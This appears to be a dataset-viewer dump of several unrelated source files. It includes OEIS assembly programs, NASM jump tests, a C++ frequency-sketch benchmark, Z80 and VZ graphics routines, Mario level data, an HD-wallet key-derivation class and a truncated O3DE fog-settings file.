text stringlengths 1 1.05M |
|---|
; A059222: Minimal number of disjoint edge-paths into which the graph of the n-ary cube can be partitioned.
; 1,1,4,1,16,1,64,1,256,1,1024,1,4096,1,16384,1,65536,1,262144,1,1048576,1,4194304,1,16777216,1,67108864,1,268435456,1,1073741824,1,4294967296,1,17179869184,1,68719476736,1,274877906944,1,1099511627776,1,4398046511104,1,17592186044416,1,70368744177664,1,281474976710656,1,1125899906842624,1,4503599627370496,1,18014398509481984,1,72057594037927936,1,288230376151711744,1,1152921504606846976,1,4611686018427387904,1,18446744073709551616,1,73786976294838206464,1,295147905179352825856,1,1180591620717411303424,1,4722366482869645213696,1,18889465931478580854784,1,75557863725914323419136,1,302231454903657293676544,1,1208925819614629174706176,1,4835703278458516698824704,1,19342813113834066795298816,1,77371252455336267181195264,1,309485009821345068724781056,1,1237940039285380274899124224,1,4951760157141521099596496896,1,19807040628566084398385987584,1,79228162514264337593543950336,1,316912650057057350374175801344,1
mov $1,2
gcd $1,$0
pow $1,$0
mov $0,$1
|
equval equ 6:7
[bits 32]
jmp 5:4 ; out: ea 04 00 00 00 05 00
jmp far equval ; out: ea 07 00 00 00 06 00
[bits 16]
jmp 8:9 ; out: ea 09 00 08 00
|
// Copyright 2020 The Google Research Authors.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
// Generate a stream of inputs based on a given distribution, and sketch them.
// Report error statistics, time taken and memory used.
#include <chrono>
#include <vector>
#include <gflags/gflags.h>
#include "countmin.h"
#include "lossy_count.h"
#include "lossy_weight.h"
#include "frequent.h"
#include "absl/memory/memory.h"
#include "absl/random/random.h"
DEFINE_int32(stream_size, 1000000, "Number of items in the stream");
DEFINE_int32(lg_stream_range, 20, "Stream elements in 0..2^log_stream_range");
DEFINE_string(distribution, "zipf", "Which distribution?");
DEFINE_double(zipf_param, 1.1, "Parameter for the Zipf distribution");
DEFINE_double(epsilon, 0.0001, "Heavy hitter fraction");
DEFINE_int32(hash_count, 5, "Number of hashes");
DEFINE_int32(hash_size, 2048, "Size of each hash");
DEFINE_int32(frequent_size, 2000, "Items in memory for Frequent (Misra-Gries)");
namespace sketch {
void CreateStream(std::vector<IntFloatPair>* data, std::vector<float>* counts) {
data->reserve(FLAGS_stream_size);
uint stream_range = 1 << FLAGS_lg_stream_range;
counts->resize(stream_range);
BitGenerator bit_gen;
absl::BitGenRef& gen = *bit_gen.BitGen();
absl::zipf_distribution<uint> zipf(stream_range, FLAGS_zipf_param, 1.0);
ULONG a = absl::uniform_int_distribution<int>(0, stream_range - 1)(gen);
ULONG b = absl::uniform_int_distribution<int>(0, stream_range - 1)(gen);
for (int i = 0; i < FLAGS_stream_size; ++i) {
const auto& k = Hash(a, b, zipf(gen), stream_range);
counts->at(k) += 1.0;
data->push_back(std::make_pair(k, 1.0));
}
}
int HeavyHittersExact(const std::vector<float>& counts, float thresh) {
int res = 0;
for (int i = 0; i < counts.size(); ++i) {
if (counts[i] > thresh) {
res++;
}
}
return res;
}
struct SketchStats {
std::string name;
ULONG add_time;
ULONG hh_time;
std::vector<uint> heavy_hitters;
uint size;
float precision;
float recall;
float error_mean;
float error_sd;
ULONG estimate_time;
};
void TestSketch(Sketch* sketch,
const std::vector<IntFloatPair>& data,
const std::vector<float>& counts,
SketchStats* stats) {
auto start = std::chrono::high_resolution_clock::now();
for (const auto& kv : data) {
sketch->Add(kv.first, kv.second);
}
auto end_add = std::chrono::high_resolution_clock::now();
stats->add_time = std::chrono::duration_cast<std::chrono::microseconds>(
end_add - start).count();
sketch->ReadyToEstimate();
sketch->HeavyHitters(FLAGS_stream_size * FLAGS_epsilon + 1e-6,
&stats->heavy_hitters);
auto end_hh = std::chrono::high_resolution_clock::now();
stats->hh_time = std::chrono::duration_cast<std::chrono::microseconds>(
end_hh - end_add).count();
stats->size = sketch->Size();
double error_sum = 0;
double error_sq_sum = 0;
uint stream_range = 1 << FLAGS_lg_stream_range;
start = std::chrono::high_resolution_clock::now();
for (int i = 0; i < stream_range; ++i) {
float err = sketch->Estimate(i) - counts[i];
error_sum += fabs(err);
error_sq_sum += err * err;
}
auto end_est = std::chrono::high_resolution_clock::now();
stats->estimate_time = std::chrono::duration_cast<std::chrono::microseconds>(
end_est - start).count();
stats->error_mean = error_sum / stream_range;
stats->error_sd = sqrt(error_sq_sum / stream_range -
stats->error_mean * stats->error_mean);
}
void Evaluate(const std::vector<float>& counts,
int heavy_hitters, SketchStats* stats) {
float correct = 0;
float threshold = FLAGS_stream_size * FLAGS_epsilon + 1e-6;
for (uint k : stats->heavy_hitters) {
if (counts[k] > threshold) correct += 1;
}
stats->precision = correct / stats->heavy_hitters.size();
stats->recall = correct / heavy_hitters;
}
void PrintEval(const std::vector<float>& counts,
const std::vector<uint>& heavy_hitters,
Sketch* s) {
float threshold = FLAGS_stream_size * FLAGS_epsilon + 1e-6;
int j = 0;
for (int i = 0; i < counts.size(); ++i) {
if (j < heavy_hitters.size() && i == heavy_hitters[j]) {
if (counts[i] > threshold) {
printf("Found %d, Actual %.2f, Estimate %.2f\n", i, counts[i],
s->Estimate(i));
} else {
printf("FALSE POSITIVE %d, Actual %.2f, Estimate %.2f\n",
i, counts[i], s->Estimate(i));
}
j++;
} else if (counts[i] > threshold) {
printf("MISSED %d, Actual %.2f, Estimate %.2f\n", i, counts[i],
s->Estimate(i));
}
}
}
void PrintOutput(const std::vector<SketchStats>& stats) {
printf("Method\tRecall\tPrec\tSpace\tUpdate Time\tHH time\t"
"Estimate Err\tEstimate SD\tEstimate time\t\n");
for (const auto& stat : stats) {
printf("%s\t%0.2f%%\t%0.2f%%\t%d\t%llu\t\t%llu\t%f\t%f \t%llu\n",
stat.name.c_str(),
100 * stat.recall, 100 * stat.precision, stat.size, stat.add_time,
stat.hh_time, stat.error_mean, stat.error_sd, stat.estimate_time);
}
}
void TestCounts() {
std::vector<IntFloatPair> data;
std::vector<float> counts;
CreateStream(&data, &counts);
int heavy_hitters = HeavyHittersExact(
counts, FLAGS_epsilon * FLAGS_stream_size + 1e-6);
printf("\nStream size: %d, Stream range: 2^%d\n", FLAGS_stream_size,
FLAGS_lg_stream_range);
printf("There were %d elements above threshold %0.2f, for e = %f\n\n",
heavy_hitters, FLAGS_epsilon * FLAGS_stream_size, FLAGS_epsilon);
std::vector<std::pair<std::string, std::unique_ptr<Sketch> > > sketches;
sketches.push_back(std::make_pair(
"CM", absl::make_unique<CountMin>(
CountMin(FLAGS_hash_count, FLAGS_hash_size))));
sketches.push_back(std::make_pair(
"CM_CU", absl::make_unique<CountMinCU>(
CountMinCU(FLAGS_hash_count, FLAGS_hash_size))));
sketches.push_back(std::make_pair(
"LC", absl::make_unique<LossyCount>(LossyCount(
(int)(1.0 / FLAGS_epsilon)))));
sketches.push_back(std::make_pair(
"LC_FB", absl::make_unique<LossyCount_Fallback>(LossyCount_Fallback(
(int)(1.0 / FLAGS_epsilon), FLAGS_hash_count, FLAGS_hash_size))));
sketches.push_back(std::make_pair(
"LW", absl::make_unique<LossyWeight>(LossyWeight(
FLAGS_frequent_size, FLAGS_hash_count, FLAGS_hash_size))));
sketches.push_back(std::make_pair(
"Freq", absl::make_unique<Frequent>(Frequent(FLAGS_frequent_size))));
sketches.push_back(std::make_pair(
"Freq_FB", absl::make_unique<Frequent_Fallback>(Frequent_Fallback(
FLAGS_frequent_size, FLAGS_hash_count, FLAGS_hash_size))));
sketches.push_back(std::make_pair(
"CMH", absl::make_unique<CountMinHierarchical>(CountMinHierarchical(
FLAGS_hash_count, FLAGS_hash_size, FLAGS_lg_stream_range))));
sketches.push_back(std::make_pair(
"CMH_CU", absl::make_unique<CountMinHierarchicalCU>(
CountMinHierarchicalCU(
FLAGS_hash_count, FLAGS_hash_size, FLAGS_lg_stream_range))));
std::vector<SketchStats> sketch_stats;
for (auto& sketch : sketches) {
SketchStats s;
s.name = sketch.first;
TestSketch(sketch.second.get(), data, counts, &s);
Evaluate(counts, heavy_hitters, &s);
sketch_stats.push_back(s);
}
PrintOutput(sketch_stats);
}
} // namespace sketch
int main(int argc, char** argv) {
gflags::ParseCommandLineFlags(&argc, &argv, true);
sketch::TestCounts();
}
|
HELLO: DC STRING("Hello! What is your name?\n")
WELL: DC STRING("Well, ")
THINKING: DC STRING(", I am thinking of a number between 1 and 1000.\n")
GUESS: DC STRING("Take a guess.\n")
TOO_HIGH: DC STRING("Your guess is too high.\n")
TOO_LOW: DC STRING("Your guess is too low.\n")
NOT_A_NUMBER: DC STRING("Your guess is not a number.\n")
GOOD_JOB: DC STRING("Good job, ")
GUESSED_IN: DC STRING("! You guessed my number in ")
GUESSES: DC STRING(" guesses!\n")
TRIES: DS INTEGER
NUMBER: DS INTEGER
MAX_NUMBER: DC INTEGER(1000)
NAME: DS 21*CHAR
MAX_NAME_LEN: DC INTEGER(20)
NEW_LINE: DC CHAR('\n')
ZERO_CHAR: DC CHAR('0')
MAIN:
LD 0, MAX_NUMBER
CALL GENERATE_NUMBER
ST 1, NUMBER
LDA 0, HELLO
CALL PRINT
LDA 0, NAME
LD 1, MAX_NAME_LEN
CALL INPUT_NAME
LDA 0, WELL
CALL PRINT
LDA 0, NAME
CALL PRINT
LDA 0, THINKING
CALL PRINT
CALL GAME
EXIT
GAME:
XOR 7, 7
ST 7, TRIES
TAKE_A_GUESS:
INC TRIES
LDA 0, GUESS
CALL PRINT
CALL INPUT_NUMBER
CMP 1, 7
JL NAN
CMP 1, NUMBER
JL LESSER
JG GREATER
JE EQUALITY
NAN:
LDA 0, NOT_A_NUMBER
CALL PRINT
JMP TAKE_A_GUESS
LESSER:
LDA 0, TOO_LOW
CALL PRINT
JMP TAKE_A_GUESS
GREATER:
LDA 0, TOO_HIGH
CALL PRINT
JMP TAKE_A_GUESS
EQUALITY:
LDA 0, GOOD_JOB
CALL PRINT
LDA 0, NAME
CALL PRINT
LDA 0, GUESSED_IN
CALL PRINT
OUT TRIES
LDA 0, GUESSES
CALL PRINT
RET
GENERATE_NUMBER:
RAND 1
DIV 1, 0
LD 1, 8
INC 1
RET
PRINT:
PUSH 0
XOR 1, 1
_LOOP1:
LDB 2, 0(0)
CMP 2, 1
JZ _STOP1
COUT 2
LDA 0, 0(1)
JMP _LOOP1
_STOP1:
POP 0
RET
INPUT_NAME:
PUSH 0
LDB 3, NEW_LINE
_LOOP2: IN 2
CMP 2, 3
JE _STOP2
STB 2, 0(0)
LDA 0, 0(1)
LOOP 1, _LOOP2
FLUSH: IN 2
CMP 2, 3
JNE FLUSH
_STOP2:
XOR 2, 2
STB 2, 0(0)
POP 0
RET
INPUT_NUMBER:
LDB 3, NEW_LINE
XOR 1, 1
XOR 4, 4
LDB 5, ZERO_CHAR
_LOOP3: IN 2
CMP 2, 3
JE _STOP3
SUB 2, 5
CMP 2, 4
JL _NAN
CMP 2, 3
JGE _NAN
MUL 1, 3
ADD 1, 2
JMP _LOOP3
_NAN:
LD 1, 4
DEC 1
_FLUSH: IN 2
CMP 2, 3
JNE _FLUSH
_STOP3:
RET |
; size_t p_stack_size_fastcall(p_stack_t *s)
SECTION code_adt_p_stack
PUBLIC _p_stack_size_fastcall
defc _p_stack_size_fastcall = asm_p_stack_size
INCLUDE "adt/p_stack/z80/asm_p_stack_size.asm"
|
; A096273: a(0)=0, then a(n)=a(n-1)+(n-1) if n is odd, a(n)=a(n/2)+n/2 otherwise.
; 0,0,1,3,3,7,6,12,7,15,12,22,12,24,19,33,15,31,24,42,22,42,33,55,24,48,37,63,33,61,48,78,31,63,48,82,42,78,61,99,42,82,63,105,55,99,78,124,48,96,73,123,63,115,90,144,61,117,90,148,78,138,109,171,63,127,96,162,82,150,117,187,78,150,115,189,99,175,138,216,82,162,123,205,105,189,148,234,99,187,144,234,124,216,171,265,96,192,145,243
lpb $0
mov $2,$0
div $0,2
lpb $2
mul $0,2
mov $2,$0
lpe
add $1,$0
lpe
mov $0,$1
|
;*****************************************************
;
; Video Technology library for small C compiler
;
; Juergen Buchmueller
;
;*****************************************************
; ----- void vz_shape(int x, int y, int w, int h, int c, char *data)
XLIB vz_shape
XDEF char_shape
XREF scrbase
; This one is difficult to ween off the stack so left
; as is for another enterprising person to improve
.vz_shape
ld ix, -2 ; old compiler had an extra word on stack
add ix, sp
ld e, (ix+4) ; get *data
ld d, (ix+5)
ld iy, 0
add iy, de ; to IY
ld h,(ix+12) ; y coordinate
ld l,(ix+14) ; x coordinate
; convert HL to screen offset
sla l
sra h
rr l
sra h
rr l
sra h
rr l
ld de, (scrbase)
add hl, de
ld a, (ix+6) ; color
and 3 ; only 0..3 allowed
ld c, a
ld b, $fc ; pixel mask
ld a,(ix+14) ; x offset
and 3 ; mask lower two bits of x
xor 3 ; flip 3->0, 2->1, 1->2, 0->3
jr z, shape1 ; offset was 3, done
shape0:
rlc c ; shift color left
rlc c
rlc b ; shift mask left
rlc b
dec a ; more shifts?
jr nz, shape0
shape1:
ld a,(ix+12) ; get y
or a ; negative ?
jp m, shape8 ; next row
cp 64 ; above 64 ?
jp nc, shapex ; leave function
ld e,(ix+10) ; get width
shape2:
push bc ; save mask/color
push hl ; save screen offset
shape3:
ld d, (iy+0) ; get data byte
inc iy ; increment data pointer
ld a, (hl) ; get screen contents
shape4:
rlc d ; next bit set?
jr nc, shape5 ; no, skip
and b ; remove old pixel
or c ; set new pixel
shape5:
rrc c ; rotate color
rrc c
rrc b ; rotate mask
rrc b
jr c, shape6 ; mask not yet through? skip
ld (hl), a ; store screen contents
inc hl ; increment screen address
ld a, (hl) ; get screen contents
shape6:
dec e ; decrement width
jr z, shape7 ; zero: row done
bit 0, e
jr nz, shape4 ; odd count
bit 1, e
jr nz, shape4 ; odd count
bit 2, e
jr nz, shape4 ; odd count
ld (hl), a ; store screen contents
jr shape3 ; fetch next datum
shape7:
ld (hl), a ; store screen contents
pop hl ; get back screen offset
pop bc ; get back mask/color
jr shape9
shape8:
ld e,(ix+10) ; get width
ld d,0
ld a,7 ; + 7
add a,e
ld e,a
ld a,d
adc a,0
ld d,a
sra d ; / 8
rr e
sra d
rr e
sra d
rr e
add iy,de ; skip data bytes
shape9:
ld de, 32 ; one row down
add hl, de
inc (ix+12) ; increment y
dec (ix+8) ; decrement h
jp nz, shape1 ; more rows?
shapex:
ret
char_shape:
defb $00,$00,$00,$00,$00 ; space
defb $20,$20,$20,$00,$20 ; !
defb $50,$50,$00,$00,$00 ; "
defb $50,$f8,$50,$f8,$50 ; #
defb $78,$a0,$70,$28,$f0 ; $
defb $c8,$d0,$20,$58,$98 ; %
defb $40,$a0,$68,$90,$68 ; &
defb $20,$20,$40,$00,$00 ; '
defb $30,$40,$40,$40,$30 ; (
defb $60,$10,$10,$10,$60 ; )
defb $a8,$70,$f8,$70,$a8 ; *
defb $20,$20,$f8,$20,$20 ; +
defb $00,$00,$20,$20,$40 ; ,
defb $00,$00,$f8,$00,$00 ; -
defb $00,$00,$00,$60,$60 ; .
defb $08,$10,$20,$40,$80 ; /
defb $70,$88,$a8,$88,$70 ; 0
defb $20,$60,$20,$20,$70 ; 1
defb $f0,$08,$70,$80,$f8 ; 2
defb $f8,$10,$70,$08,$f0 ; 3
defb $10,$30,$50,$f8,$10 ; 4
defb $f8,$80,$f0,$08,$f0 ; 5
defb $70,$80,$f0,$88,$70 ; 6
defb $f8,$10,$20,$40,$80 ; 7
defb $70,$88,$70,$88,$70 ; 8
defb $70,$88,$78,$08,$70 ; 9
defb $00,$20,$00,$20,$00 ; :
defb $00,$20,$00,$20,$40 ; ;
defb $10,$20,$40,$20,$10 ; <
defb $00,$f8,$00,$f8,$00 ; =
defb $40,$20,$10,$20,$40 ; >
defb $70,$88,$30,$00,$20 ; ?
defb $70,$88,$b8,$80,$70 ; @
defb $70,$88,$f8,$88,$88 ; A
defb $f0,$88,$f0,$88,$f0 ; B
defb $70,$88,$80,$88,$70 ; C
defb $e0,$90,$88,$90,$e0 ; D
defb $f8,$80,$f0,$80,$f8 ; E
defb $f8,$80,$f0,$80,$80 ; F
defb $78,$80,$b8,$88,$78 ; G
defb $88,$88,$f8,$88,$88 ; H
defb $70,$20,$20,$20,$70 ; I
defb $f8,$08,$08,$88,$70 ; J
defb $88,$90,$e0,$90,$88 ; K
defb $80,$80,$80,$80,$f8 ; L
defb $88,$d8,$a8,$88,$88 ; M
defb $88,$c8,$a8,$98,$88 ; N
defb $70,$88,$88,$88,$70 ; O
defb $f0,$88,$f0,$80,$80 ; P
defb $70,$88,$a8,$90,$68 ; Q
defb $f0,$88,$f0,$90,$88 ; R
defb $78,$80,$70,$08,$f0 ; S
defb $f8,$20,$20,$20,$20 ; T
defb $88,$88,$88,$88,$70 ; U
defb $88,$88,$88,$50,$20 ; V
defb $88,$88,$a8,$d8,$88 ; W
defb $88,$50,$20,$50,$88 ; X
defb $88,$50,$20,$20,$20 ; Y
defb $f8,$10,$20,$40,$f8 ; Z
defb $78,$60,$60,$60,$78 ; [
defb $80,$40,$20,$10,$08 ; \
defb $f0,$30,$30,$30,$f0 ; ]
defb $20,$70,$a8,$20,$20 ; ^
defb $00,$00,$00,$00,$f8 ; _
defb $20,$20,$10,$00,$00 ; `
defb $00,$78,$88,$88,$78 ; a
defb $80,$f0,$88,$88,$f0 ; b
defb $00,$70,$80,$80,$78 ; c
defb $08,$78,$88,$88,$78 ; d
defb $00,$70,$f8,$80,$70 ; e
defb $18,$20,$78,$20,$20 ; f
defb $00,$78,$f8,$08,$70 ; g
defb $80,$f0,$88,$88,$88 ; h
defb $20,$60,$20,$20,$70 ; i
defb $08,$18,$08,$08,$38 ; j
defb $80,$90,$e0,$90,$88 ; k
defb $60,$20,$20,$20,$70 ; l
defb $00,$d0,$a8,$88,$88 ; m
defb $00,$f0,$88,$88,$88 ; n
defb $00,$70,$88,$88,$70 ; o
defb $00,$f0,$88,$f0,$80 ; p
defb $00,$78,$88,$78,$08 ; q
defb $00,$f0,$88,$80,$80 ; r
defb $00,$78,$e0,$38,$f0 ; s
defb $20,$78,$20,$20,$18 ; t
defb $00,$88,$88,$88,$78 ; u
defb $00,$88,$88,$50,$20 ; v
defb $00,$88,$a8,$d8,$88 ; w
defb $00,$88,$70,$88,$88 ; x
defb $00,$88,$78,$08,$70 ; y
defb $00,$f8,$20,$40,$f8 ; z
defb $18,$20,$c0,$20,$18 ; {
defb $20,$20,$20,$20,$20 ; |
defb $c0,$20,$18,$20,$c0 ; }
defb $68,$b0,$00,$00,$00 ; ~
defb $f8,$f8,$f8,$f8,$f8 ; block
|
; Original address was $BD8F
; Cheep Cheep hand trap
.word W8H_PrizeL ; Alternate level layout
.word W8H_PrizeO ; Alternate object layout
.byte LEVEL1_SIZE_08 | LEVEL1_YSTART_140
.byte LEVEL2_BGPAL_03 | LEVEL2_OBJPAL_09 | LEVEL2_XSTART_18
.byte LEVEL3_TILESET_11 | LEVEL3_VSCROLL_LOCKED | LEVEL3_PIPENOTEXIT
.byte LEVEL4_BGBANK_INDEX(11) | LEVEL4_INITACT_NOTHING
.byte LEVEL5_BGM_UNDERGROUND | LEVEL5_TIME_200
.byte $79, $0E, $71, $63, $56, $00, $B4, $06, $54, $07, $B6, $06, $54, $0E, $4E, $31
.byte $18, $21, $54, $20, $42, $54, $25, $41, $54, $2A, $43, $54, $31, $49, $54, $3D
.byte $45, $31, $3F, $00, $32, $37, $40, $33, $37, $40, $54, $43, $49, $54, $4F, $45
.byte $2E, $44, $40, $2F, $44, $40, $30, $44, $40, $31, $44, $40, $32, $44, $40, $33
.byte $44, $40, $32, $48, $40, $33, $48, $40, $34, $48, $40, $35, $48, $40, $36, $48
.byte $40, $54, $57, $44, $54, $5F, $4A, $54, $60, $49, $54, $6D, $44, $54, $72, $B6
.byte $0D, $40, $7C, $B7, $03, $48, $7F, $BB, $00, $31, $74, $80, $30, $75, $81, $31
.byte $77, $81, $30, $79, $81, $31, $7B, $80, $28, $7D, $C8, $E7, $51, $10, $FF
|
// Copyright (c) 2014-2017 The BitTrivia Core developers
// Distributed under the MIT software license, see the accompanying
#include "base58.h"
#include "bip39.h"
#include "chainparams.h"
#include "hdchain.h"
#include "tinyformat.h"
#include "util.h"
#include "utilstrencodings.h"
bool CHDChain::SetNull()
{
LOCK(cs_accounts);
nVersion = CURRENT_VERSION;
id = uint256();
fCrypted = false;
vchSeed.clear();
vchMnemonic.clear();
vchMnemonicPassphrase.clear();
mapAccounts.clear();
// default blank account
mapAccounts.insert(std::pair<uint32_t, CHDAccount>(0, CHDAccount()));
return IsNull();
}
bool CHDChain::IsNull() const
{
return vchSeed.empty() || id == uint256();
}
void CHDChain::SetCrypted(bool fCryptedIn)
{
fCrypted = fCryptedIn;
}
bool CHDChain::IsCrypted() const
{
return fCrypted;
}
void CHDChain::Debug(std::string strName) const
{
DBG(
std::cout << __func__ << ": ---" << strName << "---" << std::endl;
if (fCrypted) {
std::cout << "mnemonic: ***CRYPTED***" << std::endl;
std::cout << "mnemonicpassphrase: ***CRYPTED***" << std::endl;
std::cout << "seed: ***CRYPTED***" << std::endl;
} else {
std::cout << "mnemonic: " << std::string(vchMnemonic.begin(), vchMnemonic.end()).c_str() << std::endl;
std::cout << "mnemonicpassphrase: " << std::string(vchMnemonicPassphrase.begin(), vchMnemonicPassphrase.end()).c_str() << std::endl;
std::cout << "seed: " << HexStr(vchSeed).c_str() << std::endl;
CExtKey extkey;
extkey.SetMaster(&vchSeed[0], vchSeed.size());
CBitcoinExtKey b58extkey;
b58extkey.SetKey(extkey);
std::cout << "extended private masterkey: " << b58extkey.ToString().c_str() << std::endl;
CExtPubKey extpubkey;
extpubkey = extkey.Neuter();
CBitcoinExtPubKey b58extpubkey;
b58extpubkey.SetKey(extpubkey);
std::cout << "extended public masterkey: " << b58extpubkey.ToString().c_str() << std::endl;
}
);
}
bool CHDChain::SetMnemonic(const SecureVector& vchMnemonic, const SecureVector& vchMnemonicPassphrase, bool fUpdateID)
{
return SetMnemonic(SecureString(vchMnemonic.begin(), vchMnemonic.end()), SecureString(vchMnemonicPassphrase.begin(), vchMnemonicPassphrase.end()), fUpdateID);
}
bool CHDChain::SetMnemonic(const SecureString& ssMnemonic, const SecureString& ssMnemonicPassphrase, bool fUpdateID)
{
SecureString ssMnemonicTmp = ssMnemonic;
if (fUpdateID) {
// can't (re)set mnemonic if seed was already set
if (!IsNull())
return false;
// empty mnemonic i.e. "generate a new one"
if (ssMnemonic.empty()) {
ssMnemonicTmp = CMnemonic::Generate(256);
}
// NOTE: default mnemonic passphrase is an empty string
// printf("mnemonic: %s\n", ssMnemonicTmp.c_str());
if (!CMnemonic::Check(ssMnemonicTmp)) {
throw std::runtime_error(std::string(__func__) + ": invalid mnemonic: `" + std::string(ssMnemonicTmp.c_str()) + "`");
}
CMnemonic::ToSeed(ssMnemonicTmp, ssMnemonicPassphrase, vchSeed);
id = GetSeedHash();
}
vchMnemonic = SecureVector(ssMnemonicTmp.begin(), ssMnemonicTmp.end());
vchMnemonicPassphrase = SecureVector(ssMnemonicPassphrase.begin(), ssMnemonicPassphrase.end());
return !IsNull();
}
bool CHDChain::GetMnemonic(SecureVector& vchMnemonicRet, SecureVector& vchMnemonicPassphraseRet) const
{
// mnemonic was not set, fail
if (vchMnemonic.empty())
return false;
vchMnemonicRet = vchMnemonic;
vchMnemonicPassphraseRet = vchMnemonicPassphrase;
return true;
}
bool CHDChain::GetMnemonic(SecureString& ssMnemonicRet, SecureString& ssMnemonicPassphraseRet) const
{
// mnemonic was not set, fail
if (vchMnemonic.empty())
return false;
ssMnemonicRet = SecureString(vchMnemonic.begin(), vchMnemonic.end());
ssMnemonicPassphraseRet = SecureString(vchMnemonicPassphrase.begin(), vchMnemonicPassphrase.end());
return true;
}
bool CHDChain::SetSeed(const SecureVector& vchSeedIn, bool fUpdateID)
{
vchSeed = vchSeedIn;
if (fUpdateID) {
id = GetSeedHash();
}
return !IsNull();
}
SecureVector CHDChain::GetSeed() const
{
return vchSeed;
}
uint256 CHDChain::GetSeedHash()
{
return Hash(vchSeed.begin(), vchSeed.end());
}
void CHDChain::DeriveChildExtKey(uint32_t nAccountIndex, bool fInternal, uint32_t nChildIndex, CExtKey& extKeyRet)
{
// Use BIP44 keypath scheme i.e. m / purpose' / coin_type' / account' / change / address_index
CExtKey masterKey; //hd master key
CExtKey purposeKey; //key at m/purpose'
CExtKey cointypeKey; //key at m/purpose'/coin_type'
CExtKey accountKey; //key at m/purpose'/coin_type'/account'
CExtKey changeKey; //key at m/purpose'/coin_type'/account'/change
CExtKey childKey; //key at m/purpose'/coin_type'/account'/change/address_index
masterKey.SetMaster(&vchSeed[0], vchSeed.size());
// Use hardened derivation for purpose, coin_type and account
// (keys >= 0x80000000 are hardened after bip32)
// derive m/purpose'
masterKey.Derive(purposeKey, 44 | 0x80000000);
// derive m/purpose'/coin_type'
purposeKey.Derive(cointypeKey, Params().ExtCoinType() | 0x80000000);
// derive m/purpose'/coin_type'/account'
cointypeKey.Derive(accountKey, nAccountIndex | 0x80000000);
// derive m/purpose'/coin_type'/account/change
accountKey.Derive(changeKey, fInternal ? 1 : 0);
// derive m/purpose'/coin_type'/account/change/address_index
changeKey.Derive(extKeyRet, nChildIndex);
}
void CHDChain::AddAccount()
{
LOCK(cs_accounts);
mapAccounts.insert(std::pair<uint32_t, CHDAccount>(mapAccounts.size(), CHDAccount()));
}
bool CHDChain::GetAccount(uint32_t nAccountIndex, CHDAccount& hdAccountRet)
{
LOCK(cs_accounts);
if (nAccountIndex > mapAccounts.size() - 1)
return false;
hdAccountRet = mapAccounts[nAccountIndex];
return true;
}
bool CHDChain::SetAccount(uint32_t nAccountIndex, const CHDAccount& hdAccount)
{
LOCK(cs_accounts);
// can only replace existing accounts
if (nAccountIndex > mapAccounts.size() - 1)
return false;
mapAccounts[nAccountIndex] = hdAccount;
return true;
}
size_t CHDChain::CountAccounts()
{
LOCK(cs_accounts);
return mapAccounts.size();
}
std::string CHDPubKey::GetKeyPath() const
{
return strprintf("m/44'/%d'/%d'/%d/%d", Params().ExtCoinType(), nAccountIndex, nChangeIndex, extPubKey.nChild);
}
|
; A292443: a(n) = (5/32)*A000045(6*n)^2.
; 0,10,3240,1043290,335936160,108170400250,34830532944360,11215323437683690,3611299316401203840,1162827164557749952810,374426735688279083601000,120564246064461307169569210,38821312806020852629517684640,12500342159292650085397524884890,4025071353979427306645373495249960
mul $0,3
mov $2,10
lpb $0
sub $0,1
sub $1,$2
sub $2,$1
lpe
pow $1,2
div $1,640
mov $0,$1
|
/*
* Copyright (c) Contributors to the Open 3D Engine Project.
* For complete copyright and license terms please see the LICENSE at the root of this distribution.
*
* SPDX-License-Identifier: Apache-2.0 OR MIT
*
*/
#include <AzCore/Math/MathUtils.h>
#include <AzCore/Serialization/SerializeContext.h>
#include <Atom/RPI.Public/RenderPipeline.h>
#include <Atom/RPI.Public/Shader/ShaderResourceGroup.h>
#include <ScreenSpace/DeferredFogSettings.h>
#include <ScreenSpace/DeferredFogPass.h>
namespace AZ
{
namespace Render
{
DeferredFogSettings::DeferredFogSettings(PostProcessFeatureProcessor* featureProcessor)
: PostProcessBase(featureProcessor) {}
DeferredFogSettings::DeferredFogSettings()
: PostProcessBase(nullptr) {}
// [GXF TODO][ATOM-13418]
// Move this method to be a global utility function - also implement similar method using AssetId.
AZ::Data::Instance<AZ::RPI::StreamingImage> DeferredFogSettings::LoadStreamingImage(
const char* textureFilePath, [[maybe_unused]] const char* sampleName)
{
using namespace AZ;
Data::AssetId streamingImageAssetId;
Data::AssetCatalogRequestBus::BroadcastResult(
streamingImageAssetId, &Data::AssetCatalogRequestBus::Events::GetAssetIdByPath,
textureFilePath, azrtti_typeid<RPI::StreamingImageAsset>(), false);
if (!streamingImageAssetId.IsValid())
{
AZ_Error(sampleName, false, "Failed to get streaming image asset id with path %s", textureFilePath);
return nullptr;
}
auto streamingImageAsset = Data::AssetManager::Instance().GetAsset<RPI::StreamingImageAsset>(
streamingImageAssetId, AZ::Data::AssetLoadBehavior::PreLoad);
streamingImageAsset.BlockUntilLoadComplete();
if (!streamingImageAsset.IsReady())
{
AZ_Error(sampleName, false, "Failed to get streaming image asset '%s'", textureFilePath);
return nullptr;
}
auto image = RPI::StreamingImage::FindOrCreate(streamingImageAsset);
if (!image)
{
AZ_Error(sampleName, false, "Failed to find or create an image instance from image asset '%s'", textureFilePath);
return nullptr;
}
return image;
}
void DeferredFogSettings::OnSettingsChanged()
{
m_needUpdate = true; // even if disabled, mark it for when it'll become enabled
}
void DeferredFogSettings::SetEnabled(bool value)
{
m_enabled = value;
OnSettingsChanged();
}
//-------------------------------------------
// Getters / setters macro
#define AZ_GFX_COMMON_PARAM(ValueType, Name, MemberName, DefaultValue) \
ValueType DeferredFogSettings::Get##Name() const \
{ \
return MemberName; \
} \
void DeferredFogSettings::Set##Name(ValueType val) \
{ \
MemberName = val; \
OnSettingsChanged(); \
} \
#include <Atom/Feature/ParamMacros/MapParamCommon.inl>
#include <Atom/Feature/ScreenSpace/DeferredFogParams.inl>
#include <Atom/Feature/ParamMacros/EndParams.inl>
//-------------------------------------------
void DeferredFogSettings::ApplySettingsTo(DeferredFogSettings* target, [[maybe_unused]] float alpha) const
{
AZ_Assert(target != nullptr, "DeferredFogSettings::ApplySettingsTo called with nullptr as argument.");
if (!target)
{
return;
}
// For now the fog should be singleton - later on we'd need a better blending functionality
#define AZ_GFX_COMMON_PARAM(ValueType, Name, MemberName, DefaultValue) \
target->Set##Name(MemberName); \
